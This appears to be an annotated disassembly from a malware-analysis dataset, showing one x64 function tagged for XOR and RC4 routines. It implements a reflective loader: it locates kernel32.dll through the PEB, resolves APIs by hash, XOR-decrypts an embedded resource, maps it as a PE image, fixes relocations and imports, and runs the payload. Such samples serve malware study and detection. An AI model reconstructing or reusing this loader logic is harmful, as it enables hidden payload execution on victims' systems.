Function at 0x180001b00
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1f]
sub rsp, 0xd8
xor r13d, r13d
mov dword [rsp + 0x20], 0x71316c48
mov dword [rsp + 0x24], 0x65335279
mov dword [rsp + 0x28], 0x48555237
mov dword [rsp + 0x2c], 0x26725669
mov word [rsp + 0x30], 0x35
lea esi, [r13 + 1]
mov dword [rsp + 0x38], 0x65006b
mov dword [rbp - 0x7d], 0x6e0072
mov dword [rbp - 0x79], 0x6c0065
mov dword [rbp - 0x75], 0x320033
mov dword [rbp - 0x71], 0x64002e
mov dword [rbp - 0x6d], 0x6c006c
mov word [rbp - 0x69], r13w
mov edx, 0x3d090c
mov eax, r13d
lea rcx, [rbp - 0x59]
mov byte [rcx], al
add eax, esi
add rcx, rsi
cmp eax, 0x6a
jb 0x18000197b
sub rdx, rsi
jne 0x180001974
cmp byte [rbp - 0x29], 0x30
jne 0x180001a57
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rbx, qword [rcx + 0x10]
mov rdx, rbx
mov rcx, qword [rdx + 0x60]
mov r9d, r13d
mov rax, rcx
cmp word [rcx], r13w
je 0x1800019c7
lea rax, [rax + 2]
add r9d, esi
cmp word [rax], r13w
jne 0x1800019ba
lea rax, [rsp + 0x38]
mov r8d, r13d
lea rax, [rax + 2]
add r8d, esi
cmp word [rax], r13w
jne 0x1800019cf
cmp r9d, r8d
jne 0x180001a40
pop rdi
lea r11, [rsp + 0x38]
mov r10d, r13d
sub r11, rcx
movzx r8d, word [rcx]
mov rax, rcx
mov r9d, r13d
test r8w, r8w
je 0x180001a51
lea rax, [rax + 2]
add r9d, esi
cmp word [rax], r13w
jne 0x1800019fc
cmp r10d, r9d
jae 0x180001a51
movzx r9d, word [r11 + rcx]
lea eax, [r8 - 0x41]
cmp ax, 0x19
ja 0x180001a22
add r8w, 0x20
lea eax, [r9 - 0x41]
cmp ax, 0x19
ja 0x180001a31
add r9w, 0x20
cmp r8w, r9w
jne 0x180001a40
add r10d, esi
add rcx, 2
jmp 0x1800019ec
mov rdx, qword [rdx]
cmp rdx, rbx
jne 0x1800019aa
mov rbx, r13
jmp 0x180001a5b
mov rbx, qword [rdx + 0x30]
jmp 0x180001a5b
mov rbx, qword [rbp + 0x67]
mov edx, 0xe3142
mov rcx, rbx
call fcn.180001e54
mov edx, 0xd5786
mov rcx, rbx
mov rdi, rax
call fcn.180001e54
mov edx, 0x348bfa
mov rcx, rbx
mov qword [rbp - 0x61], rax
call fcn.180001e54
mov r15d, 0x3000
mov r12d, 0x1bd000
mov r9d, 4
xor ecx, ecx
mov r8d, r15d
mov edx, r12d
mov qword [rbp + 0x7f], rax
call rdi
movsx r8d, byte [rbp - 0x59]
mov r10d, r13d
mov r14, rax
mov eax, 0x92f11385
imul r8d
movsx eax, byte [rbp - 0x32]
add edx, r8d
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, r8d, 0xfffffeaa
mov r8d, 0x66666667
imul edx, eax
imul eax, edx, 0xe
movsxd r11, eax
mov eax, r8d
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, r8d
imul edx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, r8d
mov eax, eax
imul edx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, r8d
imul edx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
cdq
and edx, 3
lea ecx, [rdx + rax]
mov eax, r8d
sar ecx, 2
imul ecx
mov ecx, edx
sar ecx, 1
mov eax, ecx
shr eax, 0x1f
add ecx, eax
mov eax, 0xbfa02fe9
imul ecx
add edx, ecx
movsx rcx, byte [rbp - 0x59]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add edx, eax
movsxd r8, edx
mov r9, r8
imul rax, rcx, 0x1bcfc
imul rbx, rcx, 0x1c07b
sub r9, rax
movabs rcx, resource.1
add r9, r14
sub rbx, r8
sub rbx, r14
add rbx, rcx
movsxd rcx, r10d
movabs rax, 0xe38e38e38e38e38f
add r10d, esi
mul rcx
shr rdx, 4
lea rax, [rdx + rdx*8]
add rax, rax
sub rcx, rax
sub rcx, r11
mov al, byte [rsp + rcx + 0x20]
xor al, byte [rbx + r9]
mov byte [r9], al
add r9, rsi
cmp r10d, r12d
jb 0x180001b7a
movsxd rax, dword [r14 + 0x3c]
movsx r9d, byte [rbp - 0x51]
mov r8d, r15d
mov edx, dword [rax + r14 + 0x50]
shl r9d, 3
xor ecx, ecx
call rdi
mov rbx, rax
test rax, rax
je 0x180001e3e
movsxd rdi, dword [r14 + 0x3c]
mov r12, rax
mov r8d, r13d
add rdi, r14
sub r12, qword [rdi + 0x30]
mov r9d, dword [rdi + 0x54]
movzx r10d, word [rdi + 0x14]
mov qword [rbp + 0x6f], r12
mov qword [rdi + 0x30], rax
test r9, r9
je 0x180001c19
mov rdx, r14
mov rcx, rax
sub rdx, rax
mov al, byte [rdx + rcx]
add r8d, esi
mov byte [rcx], al
movsxd rax, r8d
ror byte [rax + 3], 0xce
cmp rax, r9
jb 0x180001c06
mov rax, qword [rdi + 0xb0]
mov rcx, qword [rdi + 0x90]
mov r15, r13
mov esi, r13d
mov qword [rbp + 0x77], rax
cmp r13w, word [rdi + 6]
jae 0x180001e3e
lea r9, [r10 + 0x24]
mov r12d, esi
add r9, rdi
mov r10d, dword [r9]
cmp eax, r10d
jb 0x180001c5e
mov r8d, dword [r9 - 4]
add r8d, r10d
cmp eax, r8d
jae 0x180001c5e
lea r15, [r9 - 0xc]
cmp ecx, r10d
jb 0x180001c73
mov r8d, dword [r9 - 4]
add r8d, r10d
cmp ecx, r8d
jae 0x180001c73
lea r12, [r9 - 0xc]
mov r11d, dword [r9 + 8]
mov r13d, dword [r9 + 4]
lea r8, [rbx + r10]
add r11, r14
xor r10d, r10d
test r13, r13
je 0x180001ca2
sub r11, r8
mov dl, byte [r11 + r8]
inc r10d
mov byte [r8], dl
movsxd rdx, r10d
inc r8
cmp rdx, r13
jb 0x180001c8d
movzx edx, word [rdi + 6]
inc esi
add r9, 0x28
cmp esi, edx
jl 0x180001c46
test r12, r12
mov r12, qword [rbp + 0x6f]
je 0x180001e3e
mov r13d, dword [rbp + 0x7b]
xor edx, edx
test r13, r13
je 0x180001d77
mov r9d, dword [r15 + 0x14]
add r9, rdx
add rdx, 8
mov r8d, dword [r9 + r14 + 4]
sub r8, 8
shr r8, 1
je 0x180001d6e
mov eax, dword [r15 + 0x14]
add rax, rdx
add rdx, 2
movzx r10d, word [rax + r14]
mov eax, 0xf000
test ax, r10w
je 0x180001d65
mov ecx, dword [r9 + r14]
and qword [rbp + 0x67], 0
and r10d, 0xfff
lea rax, [rbx + r10]
xor r11d, r11d
lea r10, [rbp + 0x67]
add rcx, rax
lea rax, [rbp + 0x67]
mov rsi, rcx
sub rsi, rax
mov al, byte [rsi + r10]
inc r11d
mov byte [r10], al
movsxd rax, r11d
inc r10
cmp rax, 8
jb 0x180001d2c
add qword [rbp + 0x67], r12
lea r11, [rbp + 0x67]
xor r10d, r10d
sub r11, rcx
mov al, byte [r11 + rcx]
inc r10d
mov byte [rcx], al
movsxd rax, r10d
inc rcx
cmp rax, 8
jb 0x180001d50
dec r8
jne 0x180001ce9
cmp rdx, r13
jb 0x180001ccc
mov r15d, dword [rdi + 0x90]
add r15, rbx
je 0x180001e3e
add r15, 0xc
cmp dword [r15], 0
je 0x180001dee
mov r13, qword [rbp + 0x7f]
mov ecx, dword [r15]
add rcx, rbx
call qword [rbp - 0x61]
mov r12, rax
test rax, rax
je 0x180001e3e
mov esi, dword [r15 + 4]
add rsi, rbx
jmp 0x180001dde
mov rax, qword [rsi]
movabs rcx, 0x8000000000000000
test rcx, rax
mov rcx, r12
je 0x180001dcd
movzx edx, ax
jmp 0x180001dd4
lea rdx, [rax + 2]
add rdx, rbx
call r13
mov qword [rsi], rax
add rsi, 8
cmp qword [rsi], 0
jne 0x180001db3
add r15, 0x14
cmp dword [r15], 0
jne 0x180001d95
movsxd rax, dword [r14 + 0x3c]
cmp dword [rax + r14 + 0xd0], 0
je 0x180001e22
mov eax, dword [rdi + 0xd0]
mov rsi, qword [rax + rbx + 0x18]
jmp 0x180001e1a
xor r8d, r8d
mov rcx, r14
lea edx, [r8 + 1]
call rax
lea rsi, [rsi + 8]
mov rax, qword [rsi]
test rax, rax
jne 0x180001e0a
mov eax, dword [rdi + 0x28]
xor r8d, r8d
mov rcx, rbx
lea edx, [r8 + 1]
add rax, rbx
call rax
neg eax
sbb rax, rax
and rax, rbx
jmp 0x180001e40
xor eax, eax
add rsp, 0xd8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret